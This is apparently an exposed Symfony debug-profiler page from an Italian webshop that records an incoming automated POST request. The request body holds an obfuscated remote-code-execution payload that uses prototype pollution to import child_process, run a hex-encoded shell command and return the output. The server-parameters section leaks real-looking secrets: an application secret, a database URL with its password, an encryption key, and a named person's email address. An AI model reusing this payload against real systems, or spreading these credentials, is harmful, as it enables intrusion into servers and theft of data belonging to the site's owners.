POST https://iron2.testportale.be/

Response
302 Found
IP
144.172.97.178
Profiled on
Token
554d7f

DefaultController :: indexAction

Request

GET Parameters

None

POST Parameters

None

Uploaded Files

None

Request Attributes

Key Value
_controller 
"App\Controller\DefaultController::indexAction"
_firewall_context 
"security.firewall.map.context.main"
_route 
"homepage"
_route_params 
[]
_security_firewall_run 
"_security_main"
_stopwatch_token 
"6a9a53"

Request Headers

Header Value
accept 
"*/*"
accept-encoding 
"gzip, deflate"
connection 
"close"
content-length 
"983"
content-type 
"application/octet-stream"
cookie 
"PHPSESSID=ng8jkejrcir894k48idgtll28e; secret_user=rUo4XW"
host 
"iron2.testportale.be"
next-action 
"x"
user-agent 
"Python/3.13 aiohttp/3.14.1"
x-php-ob-level 
"1"

Request Content

Raw

--------------------------bissa_cve_boundary
Content-Disposition: form-data; name="0"

{"then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\": \"$B0\"}", "_response": {"_prefix": "var rb = arguments[1]; (Promise.all([Function('return import(\\\"node:child_process\\\")')(), Function('return import(\\\"node:zlib\\\")')()]).then(([cp, zlib]) => { return new Promise((resolve, reject) => { var cmd = global[String.fromCharCode(66,117,102,102,101,114)].from('656e76', 'hex').toString(); cp.exec(cmd, {timeout: 8000}, (e, out, err) => { if (e && !out) out = ''; var rh = global[String.fromCharCode(66,117,102,102,101,114)].from(out).toString('hex'); reject(Object.assign(new Error('RCE_RES'), { digest: rh })); }); }); })).catch(err => rb(err));", "_formData": {"get": "$1:constructor:constructor"}}}
--------------------------bissa_cve_boundary
Content-Disposition: form-data; name="1"

"$@0"
--------------------------bissa_cve_boundary--

Response

Response Headers

Header Value
cache-control 
"no-cache, private"
content-type 
"text/html; charset=UTF-8"
date 
"Fri, 10 Jul 2026 15:54:03 GMT"
location 
"/products"
x-debug-token 
"554d7f"

Cookies

Request Cookies

Key Value
PHPSESSID 
"ng8jkejrcir894k48idgtll28e"
secret_user 
"rUo4XW"

Response Cookies

No response cookies

Session 3

Session Metadata

Key Value
Created 
"Fri, 10 Jul 26 15:53:27 +0000"
Last used 
"Fri, 10 Jul 26 15:54:02 +0000"
Lifetime 
0

Session Attributes

Attribute Value
_csrf/https-authenticate 
"9ecd5dRa0NHh8tYvBfZbBlv-pdub4A11RCxxoAKX1Ts"

Session Usage

3 Usages
Stateless check enabled
Usage
App\EventSubscriber\CheckTwoFactListener:31
Show trace 
[
  [
    "file" => "/var/www/webshop_industrializzato_debug/src/EventSubscriber/CheckTwoFactListener.php"
    "line" => 31
    "function" => "get"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 115
    "function" => "onKernelRequest"
    "class" => "App\EventSubscriber\CheckTwoFactListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 206
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 127
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 139
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 74
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/Kernel.php"
    "line" => 184
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/public/index.php"
    "line" => 27
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
]
Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage:41
Show trace 
[
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-core/Authentication/Token/Storage/UsageTrackingTokenStorage.php"
    "line" => 41
    "function" => "getMetadataBag"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Authenticator/RememberMeAuthenticator.php"
    "line" => 64
    "function" => "getToken"
    "class" => "Symfony\Component\Security\Core\Authentication\Token\Storage\UsageTrackingTokenStorage"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Authentication/AuthenticatorManager.php"
    "line" => 107
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\RememberMeAuthenticator"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Firewall/AuthenticatorManagerListener.php"
    "line" => 34
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authentication\AuthenticatorManager"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Authenticator/Debug/TraceableAuthenticatorManagerListener.php"
    "line" => 39
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Firewall\AuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-bundle/Debug/WrappedLazyListener.php"
    "line" => 38
    "function" => "supports"
    "class" => "Symfony\Component\Security\Http\Authenticator\Debug\TraceableAuthenticatorManagerListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Firewall/AbstractListener.php"
    "line" => 25
    "function" => "supports"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\WrappedLazyListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-bundle/Security/LazyFirewallContext.php"
    "line" => 60
    "function" => "__invoke"
    "class" => "Symfony\Component\Security\Http\Firewall\AbstractListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-bundle/Debug/TraceableFirewallListener.php"
    "line" => 70
    "function" => "__invoke"
    "class" => "Symfony\Bundle\SecurityBundle\Security\LazyFirewallContext"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Firewall.php"
    "line" => 92
    "function" => "callListeners"
    "class" => "Symfony\Bundle\SecurityBundle\Debug\TraceableFirewallListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 115
    "function" => "onKernelRequest"
    "class" => "Symfony\Component\Security\Http\Firewall"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 206
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 127
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 139
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 74
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/Kernel.php"
    "line" => 184
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/public/index.php"
    "line" => 27
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
]
Symfony\Component\Security\Http\Firewall\ContextListener:171
Show trace 
[
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/security-http/Firewall/ContextListener.php"
    "line" => 171
    "function" => "remove"
    "class" => "Symfony\Component\HttpFoundation\Session\Session"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/WrappedListener.php"
    "line" => 115
    "function" => "onKernelResponse"
    "class" => "Symfony\Component\Security\Http\Firewall\ContextListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 206
    "function" => "__invoke"
    "class" => "Symfony\Component\EventDispatcher\Debug\WrappedListener"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/EventDispatcher.php"
    "line" => 56
    "function" => "callListeners"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/event-dispatcher/Debug/TraceableEventDispatcher.php"
    "line" => 127
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\EventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 196
    "function" => "dispatch"
    "class" => "Symfony\Component\EventDispatcher\Debug\TraceableEventDispatcher"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 184
    "function" => "filterResponse"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/HttpKernel.php"
    "line" => 74
    "function" => "handleRaw"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/vendor/symfony/http-kernel/Kernel.php"
    "line" => 184
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\HttpKernel"
    "type" => "->"
  ]
  [
    "file" => "/var/www/webshop_industrializzato_debug/public/index.php"
    "line" => 27
    "function" => "handle"
    "class" => "Symfony\Component\HttpKernel\Kernel"
    "type" => "->"
  ]
]

Flashes

Flashes

No flash messages were created.

Server Parameters

Server Parameters

Defined in .env

Key Value
APP_ENV 
"dev"
APP_LOCALE 
"it"
APP_SECRET 
"50c2d6f5df12a922c5fcfa3509b547e2"
DATABASE_URL 
"mysql://symf_usr:D41HCNyH{ffWpQ%GL$8x@127.0.0.1:3306/webshop_debug2"
GOOGLE_API_KEY 
""
GOOGLE_CLIENT_ID 
""
GOOGLE_CLIENT_SECRET 
""
MAILER_URL 
"null://localhost"
WKHTMLTOIMAGE_PATH 
"/usr/local/bin/wkhtmltoimage"
WKHTMLTOPDF_PATH 
"/usr/local/bin/wkhtmltopdf"
a_database_host 
"127.0.0.1"
a_database_name 
"DB001002"
a_database_password 
""
a_database_port 
"54722"
a_database_user 
"UtenteWeb"
encrypt_key 
"29DkTaPyang+Stp3tZRU+FtSlsr2t4lXAUzWwWWhMC4="
from_mail_address 
"mirko.fogazzi@gmail.com"
from_mail_sender_name 
"Mirko Fogazzi"
mailer_host 
"127.0.0.1"
mailer_password 
"null"
mailer_port 
"null"
mailer_transport 
"smtp"
mailer_user 
"null"
product_per_page 
"100"
rows_each_page 
"100"
server_aziendale 
"127.0.0.1"

Defined as regular env variables

Key Value
APP_DEBUG 
"1"
CONTENT_LENGTH 
"983"
CONTENT_TYPE 
"application/octet-stream"
CONTEXT_DOCUMENT_ROOT 
"/var/www/webshop_industrializzato_debug/public"
CONTEXT_PREFIX 
""
DOCUMENT_ROOT 
"/var/www/webshop_industrializzato_debug/public"
GATEWAY_INTERFACE 
"CGI/1.1"
HTTPS 
"on"
HTTP_ACCEPT 
"*/*"
HTTP_ACCEPT_ENCODING 
"gzip, deflate"
HTTP_CONNECTION 
"close"
HTTP_COOKIE 
"PHPSESSID=ng8jkejrcir894k48idgtll28e; secret_user=rUo4XW"
HTTP_HOST 
"iron2.testportale.be"
HTTP_NEXT_ACTION 
"x"
HTTP_USER_AGENT 
"Python/3.13 aiohttp/3.14.1"
PATH 
"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"
PHP_SELF 
"/index.php"
QUERY_STRING 
""
REMOTE_ADDR 
"144.172.97.178"
REMOTE_PORT 
"42588"
REQUEST_METHOD 
"POST"
REQUEST_SCHEME 
"https"
REQUEST_TIME 
1783698843
REQUEST_TIME_FLOAT 
1783698843.438
REQUEST_URI 
"/"
SCRIPT_FILENAME 
"/var/www/webshop_industrializzato_debug/public/index.php"
SCRIPT_NAME 
"/index.php"
SERVER_ADDR 
"51.210.177.206"
SERVER_ADMIN 
"[no address given]"
SERVER_NAME 
"iron2.testportale.be"
SERVER_PORT 
"443"
SERVER_PROTOCOL 
"HTTP/1.1"
SERVER_SIGNATURE 
"<address>Apache/2.4.52 (Ubuntu) Server at iron2.testportale.be Port 443</address>\n"
SERVER_SOFTWARE 
"Apache/2.4.52 (Ubuntu)"
SSL_TLS_SNI 
"iron2.testportale.be"
SYMFONY_DOTENV_VARS 
"APP_ENV,APP_SECRET,GOOGLE_API_KEY,GOOGLE_CLIENT_ID,GOOGLE_CLIENT_SECRET,WKHTMLTOPDF_PATH,WKHTMLTOIMAGE_PATH,DATABASE_URL,APP_LOCALE,MAILER_URL,mailer_transport,mailer_host,mailer_user,mailer_password,mailer_port,rows_each_page,product_per_page,a_database_host,a_database_port,a_database_name,a_database_user,a_database_password,server_aziendale,from_mail_address,from_mail_sender_name,encrypt_key"